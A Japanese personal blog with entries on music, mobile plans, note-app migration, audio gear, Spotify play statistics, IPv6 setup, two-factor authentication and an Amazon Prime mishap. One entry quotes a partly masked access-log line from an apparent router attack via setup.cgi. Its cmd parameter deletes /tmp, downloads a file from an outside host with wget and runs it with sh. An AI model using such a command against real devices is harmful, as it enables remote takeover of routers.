(酔っているので軽く)

以前も書いたのは確かだ。でも、この曲(演奏)はなかなかいい と再び書きたい。

例えば、大変細かいが、終わり方がなかなか好きだ。

オクターブのトレモロで余韻がある。「展覧会の絵」に通じるものがある。

といつも思っているのだが、今聴いたら全然そうじゃなくて、狐につままれた感じだ。別の曲? 酔っているせい?? まあ、いずれにしても終わり方がいい(「秀逸」ってやつか)ことは確かだ。理論・論理的な説明はできないが、こういう終わり方はなかなかできないと思う(そんなことないと思ったら、探してみて欲しい)。何というのか、ただ普通・おざなり・テキトーには終わってない。何かを感じさせるのだ。

分からないなりに考えると、和音の構造なのかも知れないと、今思った。最後の音は素直な和音ではない(かといって、不快さを感じさせるほどの不協和音でもない)のかも知れない。その さじ加減がすごかったのかも知れない。 (全部想像ですw)

ただ、これが彼女の唯一のヒット作になってしまった感があるのは、なかなか複雑な心境だ。

 

PS. 「展覧会の絵」が出たので、ちょっと書きたかったことをついでに。近々出るらしいスティーブ・ルカサーの新作のジャケットの彼の顔はまさに「危ないムソルグスキー」(これの背景も知りたい)って感じで、一体どうしちゃったのかと思う。意識した訳でもないと思うが・・・

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結構前から、モバイルの料金を安く出来ないか検討している。近頃はアハだかアホだかいう、大手キャリアにしては随分割安なプラン(自称w)も出たが、僕は20GBなんて使わないからもっと安いプランが欲しい。

少し前までは0SIMがあったのだが、遅過ぎとか余りにも評判が悪いので いつも二の足を踏んでいたら、なくなってしまった。

今はMVNOで、500MB/月で1200円(通話ありプラン)くらいのプランだから、同じ容量で500円くらい(「ワンコイン」)になればありがたい。

と思ってもまず無理だ。というのは、通話の基本料だけで700円くらい取られるので、全部で500円だったらマイナスになってしまう。じゃあ、MVNOじゃないキャリアならやればできるが、まあやらんでしょう・・・ (もしやったら、すぐにでも移るよ!!)

可能性としては、通常の電話は省き(データ契約だけにする)、代わりにIP電話(もちろん、基本料無料)の使い勝手を「普通の電話」にすることだろうか。それなら、コスト的には今すぐにでもできそうだ(そういう使い勝手を実現するのは難しそうだが)。: これは楽天のやり方に近そうだ。

あと、仮に今よりちょっと安いプロバイダがあったとしても、どうせ事務手数料が掛かるから、なかなかペイしない。MNP転出料(約3000円)は無料になる(させられる)方向のようだが、最初の契約料(これも約3000円)は、まあタダにはならないだろう。その場合、仮に900円/月のプランがあったとしたら、手数料の3000円を回収するのに10か月くらい掛かる(今は転出にもお金が掛かるから20か月とかになって、余りにも効率が悪い)。それでも10か月(1年以内)で回収できるならまだいいが、いろいろ面倒な手続きがあるから、余り乗り気にならない。

という訳で、ワンコインプラン(通話あり)を切望する今日この頃。どこかやらないかな・・・

 

PS. ところで、そのahamoはネットでしか契約できないようだが(と言いつつ、すぐに「窓口でも無碍にしないかも?」みたいな、日本人的な曖昧な言い訳も出て来て、やっぱり馬脚を露わしたなと思った。そういうことするから効率が上がらんのだよ)、PCもスマフォも持っていない(せいぜい黒電話w)「ずぶの素人」※が契約することは不可能なのだろうか? 郵便での申し込みは可能なのだろうか。僕には全く関係ないけど、つまらないことが気になった。鶏と卵だなw

※まあでも、仮にそういう人が一念発起しようとしても、僕は全然勧めない。親にも勧めていないのだが、すぐに詐欺などに引っ掛かったり、スマフォを破壊(特にソフト的に)しそうではないか。要するに、スマフォはそういう人たちからは100マイルあるいは100光年くらい離れていて容易には追従できないってことだ。結構勉強しないと危な過ぎる。免許制度でも欲しいくらいだ。

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昨日、EvernoteからJoplinへの移行が終わった。バッチ変換スクリプトを作り、実行とデバッグの繰り返しで、完成する頃に変換が終わったw ノート数が約760と多いので細かいチェックはできない(し、するつもりもないw)が、ピンポイントで見た感じでは大丈夫そうだ。おもしろいことに、合計のファイルサイズは変換前後で約580/570MBとほとんど同じだった。まあ、ノート本体はHTML(ENML)かMDかの違いだけで、容量の大半は画像だからなのだろう。

それはともかく、最初の頃に変換したノートをチェックしていて、思わぬ事実を再発見した。

今のアンプ(SAYA SP192AB)に換えた直後(2015年)に、ごく短い間ではあったが、耳が痛くなっていたのである。

ということは、つい最近までずっと悩まされてきた耳痛や耳閉感は、アンプにも関係があるのだろうか? もし関係があるとしたら、どういうことなのだろうか?

  • アンプの特性が悪くて、ある条件で音が劣化する、あるいは、スピーカーのドライブ能力が低いために音が劣化して、耳が痛くなる。
  • アンプの特性が良くて(スピーカーのドライブ能力が高い?)、イコライザでの音の劣化や定在波の帯域が(弱まらずに)そのまま出るために耳が痛くなる。

記憶の限りでは、以前のアンプ(Marantz PM-17SA)では起こっていなかった気がするが。いや、グライコ(Behringer DEQ2496)で調整量を増やし過ぎた時に耳が痛くなったので、そうでもない。そもそも、今のアンプとグライコの導入順序も曖昧だ。 → このブログで調べたらグライコが先だったので、以前のアンプでも耳は痛くなっていた。

そうすると、イコライザの種類・調整の仕方での音の劣化(これもなかなかの謎)で耳の痛みが起こるのは確かだが、今のアンプに換えた直後に耳が痛くなった理由は分からない(換えた時にはイコライザはいじっていないので)。

  • アンプにエージングが必要だった。 (理由: その後少ししたら、痛みは治まった)
  • スピーカーの接続方法が悪かった。 (理由: 最初は被覆を剥いたケーブルをネジで留めていたが、余り良く締められなかった。それでも、接触不良になっていたとは思えないが。)
  • 納品直後のアンプの電源コネクタに問題があって(理由: 嵌りが緩かった。 → 接触不良になっていた?)、大電流が流れる時に音が劣化していた?
  • 自分の慣れ(これも一種のエージング?)が必要だった。 (理由: アンプの特性が変わったため?)
  • 上記のアンプの特性の件
    • 今のアンプの特性が悪い場合: 音がいいと思っていたのは錯覚だったのか? (ある条件(超低域の音量)を外せば問題ない?)
      • 超低域だとしたら、電源が弱いのか? とすると、電源コネクタの可能性が高く、それは直っているから、今はアンプ起因での痛みが起こらないのは腑に落ちる。
    • 今のアンプの特性がいいということは、以前のアンプは決して特性が悪かったとは思えないから、なさそうだ・・・

なかなか確かめようがない。今のより「いい」アンプを買うくらいしか考え付かないが、壊れない限り ありえない。まあ、当面はアンプや自分のエージングや初期の問題だったと思うことにしよう。

でも、気になるな・・・

 

PS. 一方で、近頃は以前にも増して音の細部が良く聞こえて、かなりいい音だと感心・(自己)満足しているのだが、これは幻覚か本当か?? オーディオの音質の良し悪しでなく、自分の耳の調子が良くなったのかも知れない。

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年末の風物詩?、Spotifyから今年のまとめ、「音楽で1年を振り返ろう。」が届いた。残念ながら去年より簡素になってしまって、去年は自分用のwebページに華々しく記録が書かれていたのだが、今年はちょっと賑やかなメールだけになり、送られて来る記録的な内容は聴いた(掛けた)時間(62,262分 → 約2.8時間/日)だけで曲数(延べもユニークも)は分からない。他には各自のプレイリスト"Your Top Songs 2020"で順位を参照できるだけになった。その順位が何に基づくのか(例: 再生回数)も分からない。: (Amazonだけでなく、)Spotifyも作っている人が変わったのか、経営状態が良くないのか。

まあ、そういうこともあろうと(でもないが)、僕にはMlhiという自作の再生履歴記録システムがあるので、履歴は ばっちり記録されている。その活用については下に書く。

Spotifyによれば、今年最も再生した曲は、意外にもポールとスティーヴィー・ワンダーの"Ebony and Ivory" (1982)だった。確かに良く掛かっていた気はするし、嫌いな歌ではない。ちなみに、マイケルとの"Say say say" (1983)も好きだが(当時は嫌いだったw)、なぜか10位以内には入っていなかった。参考までに5位までを載せる。それぞれに、Mlhiで調べた再生回数(後述)も示した。

  1. Ebony and Ivory (Paul McCartney & Stevie Wonder, 1982)
    • 全96回 (2020年: 79回)
  2. My love (Wings, 1973)
    • 全85回 (2020年: 74回)
  3. Band on the run (Wings, 1973)
    • 全78回 (2020年: 72回)
  4. Jet (Wings, 1974)
    • 全73回 (2020年: 70回)
  5. Maybe I’m amazed (Paul McCartney, 1970)
    • 全72回 (2020年: 69回)

と、まあ、見事なほど「ポール一色」だ。いや、嫌いじゃないけど大好きって訳でもないんだが・・・ なお、10位までには、他にELOとBad fingerしか入っていない。ビートルズはどうしたんだろうか??

それから、去年はどうだったかというと(去年のブログの画像より)、

  1. The power of love (Huey Lewis & the News, 1985)
  2. 初恋 (村下孝蔵, 1983)
  3. More than a feeling (Boston, 1976)
  4. 夏をあきらめて (研ナオコ, 1982)
  5. Mr. サマータイム (サーカス, 1978)

全然違う。。。 気付いていなかったが、今年は去年から10年くらい過去にさかのぼって70年代がメインだったようだ。あと、去年はなぜか、熱・暑(苦し)そうwとか夏っぽい歌を良く聴いていたようだ。

 

もちろん、ここまででは終わらないw 今年のプレイリスト(順位)を見ていて、再生回数の順位なのか順不同なのか分からなかった(プレイリストに再生回数が出ていない)ので、Mlhiで調べてみた。Mlhiのwebで検索したりDBにアクセスすれば再生回数は簡単に出るが、「最初」からの回数なので、今年の分は手で計算した。すると、概ねSpotifyの順位に合っていたので、Spotifyは再生回数でソートしたようだ。

ところで、調べていて、妙なことがいくつかあった。

"Ebony and Ivory"はMlhiには2つの曲(演奏)が入っていて、Spotifyのリストに載っていた演奏は全44回だが、もう一つ(SpotifyのIDが異なる)は全52回だった。※ なので、Spotifyはどうにかして「実質的に同じ演奏」を統合してカウントしているようだ。

※なお、それらは異なるアルバム(オリジナルとベスト盤)に入っており、リマスタリングしたせいか、ISRCも異なっている。また、Spotifyのリストはベスト盤のを載せていた。

"Maybe I’m amazed"は、最初はMlhi(webもDBも)では検索できなかった。いろいろ試すと、 ' の文字が違うためだった。分かるかどうか分からないが、 ' には開き、閉じ、垂直なものの3つがあり、この曲の表記(閉じ?)とキーボードから入る文字(垂直)が異なるために検索に出てこなかったのだ(曲名をSpotifyからコピー・ペーストしたら出て来た)。他には " も同様だし、Unicode全体だともっと多そうで、結構深そうな問題だ。

そう言えば、論外な話だが、日本語の曲名の濁点を " にしてしまって、「眼(まなこ)はタ"イアモント"」(あくまでも仮の例)のように出る、残念な曲もあった(それだけでなく、カタカナを半角にしていた気もする・・・ ← 別の曲だったかも知れない)。日本のレーベルが配信に出す時にテキトーに打ち込んでしまったのか(さすがにないか)、そのレーベルが元々そういう残念な管理なのか、そして、(書いたあとで気付いたのだが、)半角カタカナを全角に直した名残りなのか。いずれにしても、これでは全然検索できない・・・

余談だが、こういうのは日本だけかというと実はそうでもなさそうで、海外ではdiacritical mark(ウムラウトなど)の表記方法(特に、別の文字で代替する場合)もいろいろあるようで、そこで問題になりそうだ。

更に謎なのは、10位だった"Listen to what the man said" (Wings, 1975)はMlhiのwebでは検索できなかった。確かにDBには入っているのだが。いろいろ調べると、どうやら、近頃Spotifyの演奏が新しい版に入れ替わったためのようで、Spotifyの検索をしないようにしたら出て来た。

DBに入っているものと2020年のリストに入っているのは"Listen To What The Man Said - 1993 Digital Remaster" (ISRC:GBCCS0700283)だが、今Spotifyで検索して出て来るのは"Listen To What The Man Said - Remastered 2014" (ISRC:GBCCS1400011)である。

音楽配信はダイナミックに中身が変わることの典型だろうが、これも意外に深そうだ。再生すると確かに同じ曲が演奏されるが、以前聴いたものとは違う版だということが起こる。この曲は以前の版も残っているが、完全に置換されてなくなっているものもあるだろう。そこにこだわるマニアは、CDなどを買って それぞれの版を手元に残す必要が出て来る(が、僕はもういい)。

 

ついでに、Mlhi全体、つまり、Spotifyとgmusicbrowser(以下GMB)を合わせた順位を調べてみた。これもDBで簡単に出せる。ただし、記録フォーマットの関係で今年だけの分を抽出するのは面倒なので、「最初」から(Spotifyは2019年から、GMBは2016年から)にした。また、テストで何度も少し掛けた曲があるので、再生回数でなく、完奏率×再生回数(→ 「好き度」みたいなもの? または、何度掛けても途中で止めなかった → 気に障らなさ → 当たり障りのなさ?= 「ポップ度」??)で順位を付けた。それぞれの曲名の下の数字は完奏率×再生回数である。

  1. My love (Wings, 1973)
    • Spofity, 86.0
  2. Come together (The Beatles, 1969)
    • GMB, 85.8
  3. Band on the run (Wings, 1973)
    • Spofity, 75.15
  4. Here comes the sun (The Beatles, 1969)
    • GMB, 74.7
  5. Piano concerto No.2 in C minor Op.18 : III Allegro scherzando (Lugansky, 2005)
    • GMB, 74.45

やっぱり、意外なほどポールが強いw そして、ビートルズはGMBで聴くことが多かったようだ。また、大好きなルガンスキーのラフマニノフのピアノ協奏曲もGMBで聴いている。

参考までに、上の順位は以下のようなSQLで出した。

select track_id, title, artist, album, 
  played_full_tot, played_full_tot/played_cnt, played_cnt 
from trk_info_hist
where played_full_tot is not null
  and played_full_tot <= played_cnt
order by played_full_tot DESC limit 0,20;

 

再生履歴をDBに記録しておくと、(趣味的に)おもしろく便利だ。一方で、「年ごとの順位を手軽に出したい」といったようないろいろな要望や思わぬバグも出て来て、なかなか先は長い。 (でも、記録していることに安心して、なかなか手を付けないw)

 

PS. MlhiのDBに登録された曲は8千曲近くなった(去年の中頃から記録し始めたため、去年の今頃は4500曲だった)。DBのサイズも大きくなって、約5MBになった。それでも、まだまだ小さいうちだから問題なさそうだ。

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先日気になった、スリープからの復帰後に、EvolutionがIPv6(以下v6)でなくIPv4(以下v4)を使ってしまう件だが、やはり、v6とv4の初期化時間の違いによるようだ。

今日、後述の処理の有効性を調べるため、一旦ネットを全部無効にして、手でv6とv4を順番に有効にしようとしてみたら、v6の初期化が全然終わらず、設定間違いや何かのバグで停まっているのかと思った。しかし、実は処理は続いていて、忘れた頃に有効(使用可能)になった。と言っても何十分も掛かる訳ではなく10秒くらいだが、体感としては随分遅い。

処理時間が違う理由を考えてみると、僕のデスクトップPCでは、v4はローカルな固定IPアドレスなので、初期化時間はほぼ0だが、v6はプロバイダの設備やルータと相談しながらアドレスを振っているからだろうと思われる。更に、先日使い始めたプライバシー拡張も遅くなる一因なのかも知れない。元々v6は複雑で重いのが、更に遅くなるのだろうと想像する。

という訳で、初期化の時間差はどうにもならないけれど、それでも意地でもEvolutionにv6を使わせたくなってしまい、次のような処理を考えた。

  • EthernetのNW-IFとして、v6専用とv4専用の2つを作る。
    • どちらも物理IFは同じ(ルータに繋がる)なので、片方は仮想的なものにする必要があり、v4をaliasにした。
      • aliasの名前(suffix)は数字でなくてもいいようだったので、分かりやすくしようと":v4"にした(例: "eth0:v4")。駄目なら数字にすればいい。
  • スリープになる時は、まずv4専用NW-IFを無効にし、そのあとでv6専用NW-IFを無効にする。
    • Linuxのマニュアルを読むと、本来のNW-IF(ここではv6専用NW-IF)を無効に(ifdown)すると、aliasも無効になると書いてあるが、先にaliasを無効に(削除)しておかないと内部に残骸が残ってしまうようで、次(復帰時)にaliasが作れなくなってしまったので、このようにしている。
  • スリープからの復帰時には、まずv6専用NW-IFを有効にし、そのあとでv4専用NW-IFを有効にする(aliasを作る)。
    • 念のため、v6の初期化のあとで0.5秒待ってから、v4専用NW-IFを有効にするようにした。
    • OSの起動時も同様である。

こうすることで、スリープからの復帰時に、(スリープ中にメールチェック間隔が過ぎたために)ネットが使えるようになるのを手ぐすね引いて待っているEvolutionは、v6専用NW-IFが使えるようになった時点でそっち経由で通信し出すと考えた。

なお、Evolutionがネットの状態をチェックしないようにしたら、スリープからの復帰後はエラーなどを出さずに全然メールチェックしなくなってしまったので、PCをスリープさせる場合でも意図してv6を使わせ続けるには こういう処理が必要そうだ。

本来は、スリープからの復帰後にタイムアウトで通信を中断し、エラーを出すとかリトライすべきなのだが、Evolutionはなぜか だんまりを決め込んでしまうようだ。あるいは、タイムアウトが長過ぎる(数時間?)のだろうか?

実装してみたら、(例によって随分試行錯誤したが)うまくいった。明日、(寝ている間の)長時間スリープ後の結果を見るまでは確定しないが(→ 12/4の朝に問題なかった。: 12/4 9:49)、今はめでたく、通常時は自分のサーバ関連のv4の使用ポート数が0になった。

 

とは言え、冷静に考えれば、そこまでv6を使う意味はミリもないのだが、気分とか趣味(v6が好きだからでなく、「きちんとしたい」みたいな、あるいは、「僕の目の黒いうちは、Evolutionなんかには好き勝手はさせねえぜ」w)的な理由で頑張ってしまった。すなわち、冷静じゃないってことだw

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夕方にSpotifyが時々音切れして直らないので、アプリを再起動したら、なぜか、SpotifyのDaily mixが様変わりして、今までは1-6までプレイリストがあったのに、アーティスト名のものだけになっていた(参考: 昔の状態)。そういえば、今朝辺りから やたらにビートルズが掛かっていたのは、それだったのか。

まあ、それに気づかず「Spotifyも僕の好みが分かってきたじゃん」と思って居たから結果的にはいいけどw、なくなってしまうと寂しいし、アーティストのプレイリストは今までの数字のものとは全然違うものだから困る。

Androidアプリでも同様だったので、システムのトラブルか仕様変更か。ただ、検索しても誰もそれに触れていないようなので、僕だけの問題なのかも知れない。

もう少し様子を見よう・・・

なぜか、SpotifyのDaily mixが様変わりして、アーティスト名のプレイリスト(mix)だけになってしまった。

(12/3 8:42) 実は、Daily mixの名前の付け方が変わっただけなのかも知れない。つまり、今までは"Daily Mix 1"という番号の名前だったのを、"Queen Mix"のように、そのmix(プレイリスト)のメインとなるアーティスト(大抵は最初の曲のアーティスト)を名前にすることにしたのか。※ それなら、僕の選び方(最初の数曲で「グッ」と来るか)に合っているから歓迎だが、本当にそうなのか(何となく、名前の付いたアーティストに偏っている気がする)。プレイリストとは別に、各アーティストや曲などでのラジオ(例: "Queen Radio")もあるので ややこしい・・・

Spotifyの説明には、今も、「最大6個できる」とあり、確かにアーティスト名のプレイリストは6個ある。

 

なお、元々の音切れも原因が分からないが、通信速度を測ったら変動が大きいことがあったのと、今は直っているので、たまたまネットが混んでいたのかも知れない。

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昨日、v6関係がうまく行っているかとwebサーバのアクセスログを見ていたら、偶然、何やら怖いものが目に入った(かなり伏せている)。

1ww.1xx.yy.zz - - [01/Dec/2020:AA:BB:CC +0900]
"GET /setup.cgi?next_file=!!!!!!!.cfg&todo=syscmd&
cmd=rm+-rf+/tmp/*;
wget+http://1ww.1xx.yy.zz:vvvvv+-O+/tmp/!!!!!!!;
sh+!!!!!!!&cur***=/&cur@@@@.htm=1 HTTP/1.0"

問題はcmd=...以降の部分で、最初は、これはひょっとして、"cmd=rm+-rf+/"(全ファイルの削除)でも行けるのではないかと思った。ただ、そうしてもルータが次回起動しなくなるだけだが、今見直すと、そのあとにwgetで外からファイルを送り込んで、sh以降でそれを実行していることに気付いた。

まあ、これは本当にルータの初期化とかファームウェアの更新の手順なのかも知れないが、乗っ取りにも使えそうではないか。そもそも、なぜ初期化とかのコマンドがこっちに来たんだ? 怖い・・・ (ちなみに、IPアドレスはC国だった)

とんでもないことができる、大穴の開いた製品だ。調べてみると、そのメーカー(海外のN社)のルータは結構前から今まで、脆弱性が沢山報告されているようだ。

今度買う時は、そういうことも調べないと安心できないな。

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少し前の話だが、2要素認証のワンタイムパスワード(TOTP)生成用のアプリAuthyを止めた。それ自体は便利だったのだが、Linux版が嫌いなSnapというソフト配布システムを使っていて、Snapを止めるために止めることにした。

乗り換え先のアプリを検討したが、Authyのように、LinuxとAndoroidで動いてTOTP生成用データを共有・共用できるアプリはなかった。ただ、パスワードマネージャのKeePassXC(Linux)とKeePassDX(Android)はTOTPに対応しており、それらはクラウド経由でデータが共有できるので、使えそうなことが分かった。

一方、同じアプリでパスワードとTOTPを管理するのでは、2要素認証の意味がなくなって脆弱な気がしたので、次の方針にした。

KeePassXCとKeePassDXでパスワードとTOTPを管理するが、マスターパスワードの異なる別のDBに格納する。

そのため、実際のログイン時の操作は少し面倒で、以下のようになる。

  1. パスワードのDBを開き(パスワードDBのマスターパスワードを入れる)、目的のサイトなどにユーザ名とパスワードを入力する。
  2. 2要素認証のサイトではTOTPのDBを開き(TOTP DBのマスターパスワードを入れる)、目的のサイトなどにTOTPをコピー・ペーストする。

マスターパスワードが増えて なかなか面倒だ(その他にもPCやサーバのログインなどのパスワードがあり(これらもDBに入っては居るが、開くのが面倒なので覚えている)、記憶の上限に近くなっていて、時々こんがらがる)。Linux対応の指紋読み取り装置があれば使えるだろうか? 他にもっと便利な仕組みはあるだろうか?

近頃はFIDOとかいうのが有名だが、名前しか知らない。 → LinuxではYubiKeyというのが使えるそうだ。それを買うのもいいが、スマフォの指紋読み取りシステム・デバイスをLinuxにも使えれば手軽でいいが・・・ (これはおもしろそうだが、セキュリティ的にはどうなんだろうか? それに、きっと「root化」しないと無理だろう。)

なお、Andoroidには(TOTPには対応していないが)上記のアプリとDBが共用できるKeepass2Androidというパスワードマネージャもある(KeePassDXの前に使っていた)ので、パスワードはKeepass2Androidで、TOTPはKeePassDXでアクセスすることにして、アプリ内でDBを切り替える手間を省いた(KeePassDXは切り替えが面倒)。それから、Andoroidでは指紋認証でDBが開けるのでLinuxよりは楽だ。ただ、指紋を共用することで2要素認証の意味がなくなる気がしないでもないことに今気付いたが、どうなんだろう?

 

それから、以前も書いたが、Authyはデータをエクスポートできないので、移行する際は、Authyに登録している全部のサイトのTOTPを設定し直す手間があった。また、退会を申し込んでも30日間は保留され、毎週リマインダのメールが来るのが結構鬱陶しい。

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今朝、Amazonでノンアルコールビール(今回はホッピーの黒にした)を注文したら、「プライムを無料でお試しに−」とかなんとか出たので、「また いつもの無料試用か」と思い、いつもはそんなに使わないからパスするが、今回は「折角だから」と申し込んだ。もちろん、入る時に「会費が*円掛かります」という確認はなかった(ボタンを押すだけ)が、何となく様子が違う感じで(何が違うとかはなくて、直感的なもの)、確かめたら、1か月500円の有料会員になっていた。(そんなプランがあったのか??)

確かに「無料」と見た気がするが、「(有料の)プライムに入れば、(そのうえで普段は有料の何かの追加サービスが)無料になる」ってことだったのかと、今は想像している。ただ、そのキャプチャはないし、下記のようにサポートに聞いても教えてくれなかったので、真相は藪の中だ。

「ぐぇー、失敗した」と思った。無料試用ってのは見間違いだったのかと思い、年会費と違って高くないので我慢しようと思った。が、やっぱり気分が悪いので、少ししてから、サポートに問い合わせた。チャットか電話しかなく、メールと違ってどっちも疲れるから嫌いなのだが、チャットにした。

相手は良く分かっていない感じで、30分くらい掛かってキャンセルできた。最後は「システムの間違いのようだ」とか言っていた(僕が騙された「無料試用」は、実際にはどういうメッセージを出したのか聞いたが、それについての回答はなく、システムのせいにしていた)。

チャットでムカついたのは、終わったら(話が終わったら、相手が一方的に終えたのもちょっと嫌だった)、それまでの対話の記録が消えてしまったことだ。証拠を残そうとキャプチャしようと思っていたのに、なくなってしまった。もしかしたら会員ページ(これも間違えやすいから嫌だ)から開けるのかも知れないが、わざわざ消すことにないのにと思う。チャットなら残ると思って安心していたのに。

まあ、Amazonは、近頃はいろいろなところが随分劣化したようだ。作っている人が変わったのかね・・・ そう言えば、全く関係はないが、AWSも頻繁に障害を起こしているから、Amazonが全体的に劣化しているのは確かそうだ。

ちなみに、ネット(の一部)では「Amazon終了・ヨドバシ最強」が定説になりつつあり、そのうえ、一般向け記事でも「ヨドバシは いい」みたいなのが出ていて、ということは そのうちヨドバシも駄目になりそう(例: 送料有料化)で、ちょっと嫌だ。

 

最後に:

Amazonの「無料」オファーには充分注意しましょう。あれは日本語じゃないので、落とし穴がないか十回くらい確認しましょう。

入る前にサポートに意味を確認するのがいいかも・・・

 

PS. ホッピーはもちろんヨドバシに注文した。少しくらい高くても、書いてあることが理解できて、騙される心配がないほうがいいに決まっている。以前からAmaとヨドをふらふらしているが、まあ、適応的にダイナミックに選択してるってことでw 転がる石には苔が生えないって言うしねwww

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起こりうる問題の検討と対処が終わったので、このドメインをIPv4/v6両対応にしました。当然ながら、このブログも両方対応です。

とは言え、アクセスする側からは何も変化はありません(何もする必要もないです)。あったら駄目ですw IPv6が使えて、IPv4より優先されているクライアントからは、IPv6でアクセスされます。もし問題がありましたら、お知らせ下さい。

なお、確認のため、当面、ブログのページ最下部にサーバとクライアントのIPアドレスを表示するようにしています。アドレスがなんか見慣れなくて : が含まれている場合はIPv6で繋がっています。

 

PS. やっぱり、個人的には、鳴り物*も、したり顔でユーザーに押し付ける下らねえ作業(例: 良く、「Aにしたら最初にすること10個」みたいなクソページにある、「AではBはこうする」)もなしの、「気付いたら なってた」ってのが一番いい。(v6追加なんて全然ローンチじゃないが※、)「シームレスローンチ」とでも言うのだろうか?

*ファンファーレ、「パフパフ」、「ドンドン」とかティーザーとかカウントダウンとかシャンパンとかクラッカーとか花火? それはそれで面白そうだwww

※もちろん、日本語で「ローンチ」って言うのすら嫌いで、ここに書くのも嫌だったw そういう人たちとは住む世界が違うと思っている。

そういう意味では、IPv6はなかなかうまいことやっている(運がいい)。IPv6自体は全くうまくなかったが、手をこまねいているうちにOSなどが対応していて、日本に限ってだが、フレッツのPPPoEがクソになったという無関係な方向から圧力が掛かって、意外にうまい具合に移行が進んでいる感じだ(棚ぼた?)。

こんなの、当時は全然思ってもいなかったw (「こんな複雑なの、永遠に使われねーよ」と思って居た。: まあ、先見の明がなかったな)

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